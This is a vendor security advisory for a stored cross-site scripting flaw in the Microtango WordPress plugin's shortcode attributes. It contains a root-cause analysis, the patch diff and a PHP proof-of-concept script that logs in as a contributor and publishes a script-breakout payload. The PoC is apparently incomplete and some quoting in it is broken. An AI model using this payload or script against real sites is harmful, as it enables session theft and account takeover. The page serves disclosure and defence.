Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1821: Microtango <= 0.9.29 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes (microtango)

CVE ID CVE-2026-1821
Plugin microtango
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 0.9.29
Patched Version 0.9.30
Disclosed February 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1821:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Microtango WordPress plugin. Attackers with Contributor-level access or higher can inject malicious scripts via the ‘restkey’ parameter of the mt_reservation shortcode. The injected scripts execute whenever a user views a compromised page, leading to session hijacking or administrative actions.

Atomic Edge research identifies the root cause in the microtango_shortcode_reservation function within microtango/microtango-init.php. The function directly embeds user-controlled shortcode attribute values into a JavaScript object literal without proper sanitization or output escaping. Specifically, the ‘restkey’ parameter value from line 175 ($atts[‘restkey’]) is inserted into a HEREDOC string on line 192 (“restKey”: “{$atts[‘restkey’]}”). The function returns this string after applying htmlspecialchars_decode, which does not prevent JavaScript execution.

Exploitation requires an authenticated attacker with at least Contributor privileges to create or edit a post containing the vulnerable shortcode. The attacker embeds a malicious payload within the ‘restkey’ attribute: [mt_reservation restkey=””;alert(‘XSS’);//”]. When the page renders, the plugin outputs the payload directly into a tag. The payload breaks out of the JSON string literal and executes arbitrary JavaScript in the victim’s browser context.

The patch introduces a comprehensive sanitization framework. It adds four new sanitization functions: microtango_sanitize_restkey, microtango_sanitize_text, microtango_sanitize_url, and microtango_sanitize_bool_string. The microtango_sanitize_restkey function applies sanitize_text_field and a regex filter (/[^a-zA-Z0-9_-]/) to the ‘restkey’ parameter. All shortcode functions now build a PHP array, sanitize each value, and encode it to JSON using wp_json_encode with the microtango_json_flags bitmask (JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT). This encoding ensures safe embedding within HTML script tags.

Successful exploitation allows attackers to perform actions within the victim’s WordPress session. Attackers can steal session cookies, redirect users to malicious sites, or perform administrative actions if an administrator views the compromised page. The stored nature means the payload persists and executes for all users who visit the page, amplifying the impact.

Differential between vulnerable and patched code

Code Diff 
--- a/microtango/microtango-init.php
+++ b/microtango/microtango-init.php
@@ -6,228 +6,268 @@
 add_shortcode('mt_video', 'microtango_shortcode_video');
 add_shortcode('mt_form', 'microtango_shortcode_form');

+/**
+ * Keep shortcode attribute handling safe.
+ *
+ * Shortcode attributes can be stored in post content. Values must be sanitized and
+ * then JSON-encoded before being embedded into inline scripts.
+ */
+function microtango_sanitize_restkey($value)
+{
+	$value = sanitize_text_field((string)$value);
+	// Microtango rest keys are expected to be simple token-like values.
+	return preg_replace('/[^a-zA-Z0-9_-]/', '', $value);
+}
+
+function microtango_sanitize_text($value)
+{
+	return sanitize_text_field((string)$value);
+}
+
+function microtango_sanitize_url($value)
+{
+	return esc_url_raw((string)$value);
+}
+
+function microtango_sanitize_bool_string($value)
+{
+	// The JS library expects strings like "true" / "false".
+	return filter_var($value, FILTER_VALIDATE_BOOLEAN) ? 'true' : 'false';
+}
+
+function microtango_json_flags()
+{
+	// Force safe embedding in HTML (prevents breaking out of <script> via quotes/tags).
+	return JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT;
+}
+
 function microtango_enqueue_files()
 {
-	if ( is_preview() || current_user_can('manage_options') ) {
-		wp_enqueue_script('microtango', 'https://api.microtango.de/scripts/mtrest-3.0.0.min.js', null);
-	} else {
-    	wp_enqueue_script('microtango', 'https://cdn.microtango.de/scripts/mtrest-3.0.0.min.js', null);
-	}
+	// WordPress.org review: avoid loading executable code from external CDNs.
+	$src = plugins_url('scripts/mtrest-3.0.0.min.js', __FILE__);
+	wp_enqueue_script('microtango', $src, array(), null, false);
 }

 // Use the shortcode: [mt_courses webcategory=""]
 function microtango_shortcode_courses($atts, $content = "")
 {
-    global $microtango_settings;
-    $settings = get_option($microtango_settings['settings']);
-
-	if ($settings['disabled'] ?? False && !is_preview() && !current_user_can('manage_options'))
+	global $microtango_settings;
+	$settings = get_option($microtango_settings['settings']);
+
+	if (($settings['disabled'] ?? false) && !is_preview() && !current_user_can('manage_options')) {
 		return;
-
-    $rnd = rand(10000000, 99999999);
+	}
+
+	$rnd = rand(10000000, 99999999);

-    // Attributes
-    $atts = shortcode_atts(
-        array(
-            'restkey' => $settings['restkey'] ?? "00000000",
-            'attendurl' => "",
-            'mtattendform' => "",
-            'category' => "",
-            'webcategory' => "",
+	// Attributes
+	$atts = shortcode_atts(
+		array(
+			'restkey' => $settings['restkey'] ?? "00000000",
+			'attendurl' => "",
+			'mtattendform' => "",
+			'category' => "",
+			'webcategory' => "",
 			'orderby' => "",
-            'attendtext' => $settings['attendtext'] ?? "",
-            'coursenotfoundtext' => $settings['coursenotfoundtext'] ?? "",
-            'pleasewaittext' => $settings['pleasewaittext'] ?? "",
-            'fullybookedtext' => $settings['fullybookedtext'] ?? "",
-            'nearlybookedtext' => $settings['nearlybookedtext'] ?? "",
-            'loadcss' => $settings['loadcss'] ?? False,
-            'loadtemplate' => $settings['loadtemplate'] ?? False,
-            'templateid' => 'mtuserdefined' . ($atts['template'] ?? "") . $rnd,
-        ),
-        $atts,
-        'mt_courses'
-    );
-
-    if (empty($atts['mtattendform'])) {
-        $atts['mtattendform'] = 'popup';
-    }
-
-    if (empty($content)) {
-        $content = $settings['defaultrowtemplate'] ?? "";
-    }
-
-    if (empty($content)) {
-        $content = "|{{ScheduleInfo}}#Kurs|{{Subject}}#Start|{{StartDateText}}#Von|{{Timespan}} Uhr#Stunden|{{RepeatCount}}#|{{AttendButton}}";
-    }
-
-    $columns = """ . str_replace("#", "", "", $content) . """;
-	$additionalrowtemplate1 = """ . str_replace("#", "", "", $settings['additionalrowtemplate1'] ?? "") . """;
-    $additionalrowtemplate2 = """ . str_replace("#", "", "", $settings['additionalrowtemplate2'] ?? "") . """;
-    $additionalrowtemplate3 = """ . str_replace("#", "", "", $settings['additionalrowtemplate3'] ?? "") . """;
-    $additionalrowtemplate4 = """ . str_replace("#", "", "", $settings['additionalrowtemplate4'] ?? "") . """;
-    $additionalrowtemplate5 = """ . str_replace("#", "", "", $settings['additionalrowtemplate5'] ?? "") . """;
-    $additionalrowtemplate6 = """ . str_replace("#", "", "", $settings['additionalrowtemplate6'] ?? "") . """;
-    $additionalrowtemplate7 = """ . str_replace("#", "", "", $settings['additionalrowtemplate7'] ?? "") . """;
-    $additionalrowtemplate8 = """ . str_replace("#", "", "", $settings['additionalrowtemplate8'] ?? "") . """;
-    $additionalrowtemplate9 = """ . str_replace("#", "", "", $settings['additionalrowtemplate9'] ?? "") . """;
-
-    // Code
-    $return = <<<EOT
-    <script>MicrotangoCMSHelper.add(
-        {
-			"restKey": "{$atts['restkey']}",
-            "attendURL": "{$atts['attendurl']}",
-            "useMTAttendForm": "{$atts['mtattendform']}",
-			"attendText": "{$atts['attendtext']}",
-			"courseNotFoundText": "{$atts['coursenotfoundtext']}",
-            "pleaseWaitText": "{$atts['pleasewaittext']}",
-            "fullyBookedText": "{$atts['fullybookedtext']}",
-            "nearlyBookedText": "{$atts['nearlybookedtext']}",
-            "loadCSS": "{$atts['loadcss']}",
-            "loadTemplate": "{$atts['loadtemplate']}",
-            "templates": [{ "id": "mtuserdefined$rnd", "columns": [{$columns}] },
-                          { "id": "mtuserdefined1$rnd", "columns": [{$additionalrowtemplate1}] },
-                          { "id": "mtuserdefined2$rnd", "columns": [{$additionalrowtemplate2}] },
-                          { "id": "mtuserdefined3$rnd", "columns": [{$additionalrowtemplate3}] },
-                          { "id": "mtuserdefined4$rnd", "columns": [{$additionalrowtemplate4}] },
-                          { "id": "mtuserdefined5$rnd", "columns": [{$additionalrowtemplate5}] },
-                          { "id": "mtuserdefined6$rnd", "columns": [{$additionalrowtemplate6}] },
-                          { "id": "mtuserdefined7$rnd", "columns": [{$additionalrowtemplate7}] },
-                          { "id": "mtuserdefined8$rnd", "columns": [{$additionalrowtemplate8}] },
-                          { "id": "mtuserdefined9$rnd", "columns": [{$additionalrowtemplate9}] }],
-            "update": [{ "action": "course", "category": "{$atts['category']}", "webCategory": "{$atts['webcategory']}", "orderBy": "{$atts['orderby']}", "templateId": "{$atts['templateid']}" }],
-        });
-    </script>
-EOT;
+			'attendtext' => $settings['attendtext'] ?? "",
+			'coursenotfoundtext' => $settings['coursenotfoundtext'] ?? "",
+			'pleasewaittext' => $settings['pleasewaittext'] ?? "",
+			'fullybookedtext' => $settings['fullybookedtext'] ?? "",
+			'nearlybookedtext' => $settings['nearlybookedtext'] ?? "",
+			'loadcss' => $settings['loadcss'] ?? false,
+			'loadtemplate' => $settings['loadtemplate'] ?? false,
+			'templateid' => 'mtuserdefined' . ($atts['template'] ?? "") . $rnd,
+		),
+		$atts,
+		'mt_courses'
+	);

-    return htmlspecialchars_decode($return);
+	if (empty($atts['mtattendform'])) {
+		$atts['mtattendform'] = 'popup';
+	}
+
+	if (empty($content)) {
+		$content = $settings['defaultrowtemplate'] ?? "";
+	}
+
+	if (empty($content)) {
+		$content = "|{{ScheduleInfo}}#Kurs|{{Subject}}#Start|{{StartDateText}}#Von|{{Timespan}} Uhr#Stunden|{{RepeatCount}}#|{{AttendButton}}";
+	}
+
+	$columns = array_map('microtango_sanitize_text', explode('#', (string)$content));
+	$additionalrowtemplate1 = array_map('microtango_sanitize_text', explode('#', (string)($settings['additionalrowtemplate1'] ?? "")));
+	$additionalrowtemplate2 = array_map('microtango_sanitize_text', explode('#', (string)($settings['additionalrowtemplate2'] ?? "")));
+	$additionalrowtemplate3 = array_map('microtango_sanitize_text', explode('#', (string)($settings['additionalrowtemplate3'] ?? "")));
+	$additionalrowtemplate4 = array_map('microtango_sanitize_text', explode('#', (string)($settings['additionalrowtemplate4'] ?? "")));
+	$additionalrowtemplate5 = array_map('microtango_sanitize_text', explode('#', (string)($settings['additionalrowtemplate5'] ?? "")));
+	$additionalrowtemplate6 = array_map('microtango_sanitize_text', explode('#', (string)($settings['additionalrowtemplate6'] ?? "")));
+	$additionalrowtemplate7 = array_map('microtango_sanitize_text', explode('#', (string)($settings['additionalrowtemplate7'] ?? "")));
+	$additionalrowtemplate8 = array_map('microtango_sanitize_text', explode('#', (string)($settings['additionalrowtemplate8'] ?? "")));
+	$additionalrowtemplate9 = array_map('microtango_sanitize_text', explode('#', (string)($settings['additionalrowtemplate9'] ?? "")));
+
+	$config = array(
+		'restKey' => microtango_sanitize_restkey($atts['restkey']),
+		'attendURL' => microtango_sanitize_url($atts['attendurl']),
+		'useMTAttendForm' => microtango_sanitize_text($atts['mtattendform']),
+		'attendText' => microtango_sanitize_text($atts['attendtext']),
+		'courseNotFoundText' => microtango_sanitize_text($atts['coursenotfoundtext']),
+		'pleaseWaitText' => microtango_sanitize_text($atts['pleasewaittext']),
+		'fullyBookedText' => microtango_sanitize_text($atts['fullybookedtext']),
+		'nearlyBookedText' => microtango_sanitize_text($atts['nearlybookedtext']),
+		'loadCSS' => microtango_sanitize_bool_string($atts['loadcss']),
+		'loadTemplate' => microtango_sanitize_bool_string($atts['loadtemplate']),
+		'templates' => array(
+			array('id' => "mtuserdefined{$rnd}", 'columns' => $columns),
+			array('id' => "mtuserdefined1{$rnd}", 'columns' => $additionalrowtemplate1),
+			array('id' => "mtuserdefined2{$rnd}", 'columns' => $additionalrowtemplate2),
+			array('id' => "mtuserdefined3{$rnd}", 'columns' => $additionalrowtemplate3),
+			array('id' => "mtuserdefined4{$rnd}", 'columns' => $additionalrowtemplate4),
+			array('id' => "mtuserdefined5{$rnd}", 'columns' => $additionalrowtemplate5),
+			array('id' => "mtuserdefined6{$rnd}", 'columns' => $additionalrowtemplate6),
+			array('id' => "mtuserdefined7{$rnd}", 'columns' => $additionalrowtemplate7),
+			array('id' => "mtuserdefined8{$rnd}", 'columns' => $additionalrowtemplate8),
+			array('id' => "mtuserdefined9{$rnd}", 'columns' => $additionalrowtemplate9),
+		),
+		'update' => array(
+			array(
+				'action' => 'course',
+				'category' => microtango_sanitize_text($atts['category']),
+				'webCategory' => microtango_sanitize_text($atts['webcategory']),
+				'orderBy' => microtango_sanitize_text($atts['orderby']),
+				'templateId' => microtango_sanitize_text($atts['templateid']),
+			),
+		),
+	);
+
+	$json = wp_json_encode($config, microtango_json_flags());
+
+	return '<script>MicrotangoCMSHelper.add(' . $json . ');</script>';
 }

 function microtango_shortcode_reservation($atts, $content = "")
 {
-    global $microtango_settings;
-    $settings = get_option($microtango_settings['settings']);
-
-    if ($settings['disabled'] ?? False && !is_preview() && !current_user_can('manage_options'))
+	global $microtango_settings;
+	$settings = get_option($microtango_settings['settings']);
+
+	if (($settings['disabled'] ?? false) && !is_preview() && !current_user_can('manage_options')) {
 		return;
+	}
+
+	// Attributes
+	$atts = shortcode_atts(
+		array(
+			'restkey' => $settings['restkey'] ?? "00000000",
+			'reservationtext' => $settings['reservationtext'] ?? "",
+			'loadcss' => $settings['loadcss'] ?? false,
+		),
+		$atts,
+		'mt_reservation'
+	);
+
+	$config = array(
+		'restKey' => microtango_sanitize_restkey($atts['restkey']),
+		'reservationText' => microtango_sanitize_text($atts['reservationtext']),
+		'loadCSS' => microtango_sanitize_bool_string($atts['loadcss']),
+		'update' => array(),
+	);

-    // Attributes
-    $atts = shortcode_atts(
-        array(
-            'restkey' => $settings['restkey'] ?? "00000000",
-            'reservationtext' => $settings['reservationtext'] ?? "",
-            'loadcss' => $settings['loadcss'] ?? False,
-        ),
-        $atts,
-        'mt_reservation'
-    );
-
-    // Code
-    $return = <<<EOT
-    <script>MicrotangoCMSHelper.addReservation(
-        {
-            "restKey": "{$atts['restkey']}",
-            "reservationText": "{$atts['reservationtext']}",
-            "loadCSS": "{$atts['loadcss']}",
-            "update": [],
-        });
-    </script>
-EOT;
+	$json = wp_json_encode($config, microtango_json_flags());

-    return htmlspecialchars_decode($return);
+	return '<script>MicrotangoCMSHelper.addReservation(' . $json . ');</script>';
 }

 function microtango_shortcode_video($atts, $content = "")
 {
-    global $microtango_settings;
-    $settings = get_option($microtango_settings['settings']);
-
-	if ($settings['disabled'] ?? False && !is_preview() && !current_user_can('manage_options'))
+	global $microtango_settings;
+	$settings = get_option($microtango_settings['settings']);
+
+	if (($settings['disabled'] ?? false) && !is_preview() && !current_user_can('manage_options')) {
 		return;
-
-    $rnd = rand(10000000, 99999999);
+	}
+
+	$rnd = rand(10000000, 99999999);

-    // Attributes
-    $atts = shortcode_atts(
-        array(
-            'videogroup' => "",
-            'restkey' => $settings['restkey'] ?? "00000000",
-            'showvideotext' => $settings['showvideotext'] ?? "",
-            'videonotfoundtext' => $settings['videonotfoundtext'] ?? "",
-            'logintext' => $settings['logintext'] ?? "",
-            'loadcss' => $settings['loadcss'] ?? False,
-            'loadtemplate' => $settings['loadtemplate'] ?? False,
-            'templateid' => 'mtuserdefined' . $rnd,
-        ),
-        $atts,
-        'mt_video'
-    );
-
-    if (empty($content)) {
-        $content = $settings['defaultvideorowtemplate'] ?? "";
-    }
-
-    if (empty($content)) {
-        $content = "|{{VideoThumbnail}}#Name|{{Name}}#Beschreibung|{{Description}}#Länge|{{Length}}#|{{ShowVideo}}";
-    }
-
-    $columns = """ . str_replace("#", "", "", $content) . """;
-
-    // Code
-    $return = <<<EOT
-    <script>MicrotangoCMSHelper.addVideo(
-        {
-            "restKey": "{$atts['restkey']}",
-            "showVideoText": "{$atts['showvideotext']}",
-			"videoNotFoundText": "{$atts['videonotfoundtext']}",
-            "loginText": "{$atts['logintext']}",
-            "loadCSS": "{$atts['loadcss']}",
-            "templates": { "id": "mtuserdefined$rnd", "columns": [{$columns}] },
-            "update": [{"videoGroup": "{$atts['videogroup']}", "templateId": "{$atts['templateid']}"}],
-        });
-    </script>
-EOT;
+	// Attributes
+	$atts = shortcode_atts(
+		array(
+			'videogroup' => "",
+			'restkey' => $settings['restkey'] ?? "00000000",
+			'showvideotext' => $settings['showvideotext'] ?? "",
+			'videonotfoundtext' => $settings['videonotfoundtext'] ?? "",
+			'logintext' => $settings['logintext'] ?? "",
+			'loadcss' => $settings['loadcss'] ?? false,
+			'loadtemplate' => $settings['loadtemplate'] ?? false,
+			'templateid' => 'mtuserdefined' . $rnd,
+		),
+		$atts,
+		'mt_video'
+	);

-    return htmlspecialchars_decode($return);
+	if (empty($content)) {
+		$content = $settings['defaultvideorowtemplate'] ?? "";
+	}
+
+	if (empty($content)) {
+		$content = "|{{VideoThumbnail}}#Name|{{Name}}#Beschreibung|{{Description}}#Länge|{{Length}}#|{{ShowVideo}}";
+	}
+
+	$columns = array_map('microtango_sanitize_text', explode('#', (string)$content));
+
+	$config = array(
+		'restKey' => microtango_sanitize_restkey($atts['restkey']),
+		'showVideoText' => microtango_sanitize_text($atts['showvideotext']),
+		'videoNotFoundText' => microtango_sanitize_text($atts['videonotfoundtext']),
+		'loginText' => microtango_sanitize_text($atts['logintext']),
+		'loadCSS' => microtango_sanitize_bool_string($atts['loadcss']),
+		'templates' => array('id' => "mtuserdefined{$rnd}", 'columns' => $columns),
+		'update' => array(
+			array(
+				'videoGroup' => microtango_sanitize_text($atts['videogroup']),
+				'templateId' => microtango_sanitize_text($atts['templateid']),
+			),
+		),
+	);
+
+	$json = wp_json_encode($config, microtango_json_flags());
+
+	return '<script>MicrotangoCMSHelper.addVideo(' . $json . ');</script>';
 }

 function microtango_shortcode_form($atts, $content = "")
 {
-    global $microtango_settings;
-    $settings = get_option($microtango_settings['settings']);
-
-	if ($settings['disabled'] ?? False && !is_preview() && !current_user_can('manage_options'))
+	global $microtango_settings;
+	$settings = get_option($microtango_settings['settings']);
+
+	if (($settings['disabled'] ?? false) && !is_preview() && !current_user_can('manage_options')) {
 		return;
+	}
+
+	// Attributes
+	$atts = shortcode_atts(
+		array(
+			'restkey' => $settings['restkey'] ?? "00000000",
+			'formid' => "",
+			'redirecturl' => "",
+			'renameinput' => "",
+			'testmode' => "",
+		),
+		$atts,
+		'mt_form'
+	);
+
+	$inputs = array_map('microtango_sanitize_text', explode('#', (string)$content));
+
+	$config = array(
+		'restKey' => microtango_sanitize_restkey($atts['restkey']),
+		'formUpdate' => 'true',
+		'formId' => microtango_sanitize_text($atts['formid']),
+		'formRedirectURL' => microtango_sanitize_url($atts['redirecturl']),
+		'formRenameInput' => $inputs,
+		'formTestMode' => microtango_sanitize_text($atts['testmode']),
+		'update' => array(),
+	);

-    // Attributes
-    $atts = shortcode_atts(
-        array(
-            'restkey' => $settings['restkey'] ?? "00000000",
-            'formid' => "",
-            'redirecturl' => "",
-            'renameinput' => "",
-            'testmode' => "",
-        ),
-        $atts,
-        'mt_form'
-    );
-
-    $inputs = """ . str_replace("#", "", "", $content) . """;
-
-    // Code
-    $return = <<<EOT
-    <script>MicrotangoCMSHelper.addForm(
-        {
-			"restKey": "{$atts['restkey']}",
-			"formUpdate": "true",
-			"formId": "{$atts['formid']}",
-			"formRedirectURL": "{$atts['redirecturl']}",
-			"formRenameInput": [{$inputs}],
-            "formTestMode": "{$atts['testmode']}",
-            "update": [],
-        });
-    </script>
-EOT;
+	$json = wp_json_encode($config, microtango_json_flags());

-    return htmlspecialchars_decode($return);
+	return '<script>MicrotangoCMSHelper.addForm(' . $json . ');</script>';
 }
--- a/microtango/microtango.php
+++ b/microtango/microtango.php
@@ -3,14 +3,14 @@
 Plugin Name: Microtango
 Plugin URI: https://microtango.de/
 Description: Microtango WP integration. Requires subscription from DMS. Will include the Microtango REST API to show your cloud data.
-Version: 0.9.29
+Version: 0.9.31
 Author: microtango
 Author URI: https://profiles.wordpress.org/microtango/
 License: MIT License
 License URI: http://opensource.org/licenses/MIT
 Text Domain: microtango

-Copyright 2019-2025 DMS Computer Contor
+Copyright 2019-2026 DMS Computer Contor

 Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"),
 to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
@@ -29,7 +29,7 @@
     "settings_page" => "Microtango",
     "settings_page_title" => "Microtango Einstellungen",
     "settings" => "microtango_settings",
-    "version" => "0.9.29"
+    "version" => "0.9.31"
 );

 require_once "microtango-settings-init.php";

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1821 - Microtango <= 0.9.29 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

<?php

$target_url = 'http://vulnerable-wordpress-site.local/wp-admin/post.php';
$username = 'contributor';
$password = 'password';

// Payload to demonstrate XSS via the restkey parameter
$payload = '";alert(document.domain);//';

// Create a new post with the malicious shortcode
$post_content = "[mt_reservation restkey="{$payload}"]";
$post_title = 'Test Post with XSS';

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// First request to get login page and nonce
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-login.php');
$login_page = curl_exec($ch);

// Extract login nonce (WordPress uses 'log' and 'pwd' parameters)
// For simplicity, we'll just POST to wp-login.php directly
$login_data = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
]);

curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
$login_response = curl_exec($ch);

// Check if login was successful by looking for dashboard elements
if (strpos($login_response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Now create a new post with the malicious shortcode
$post_data = http_build_query([
    'post_title' => $post_title,
    'content' => $post_content,
    'publish' => 'Publish',
    'post_type' => 'post',
    '_wpnonce' => 'need-actual-nonce', // In a real exploit, you would extract this
    '_wp_http_referer' => '/wp-admin/post-new.php'
]);

// Note: This PoC demonstrates the concept. A full exploit would need to:
// 1. Extract the correct nonce from the post creation page
// 2. Handle WordPress redirects and session management
// 3. Verify the post was created successfully

curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$post_response = curl_exec($ch);

// Check if post was created
if (strpos($post_response, 'Post published') !== false) {
    echo "Post created successfully with XSS payload.n";
    echo "Visit the post to trigger the alert('XSS') payload.n";
} else {
    echo "Post creation may have failed. Check permissions and nonce.n";
}

curl_close($ch);

// Clean up
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School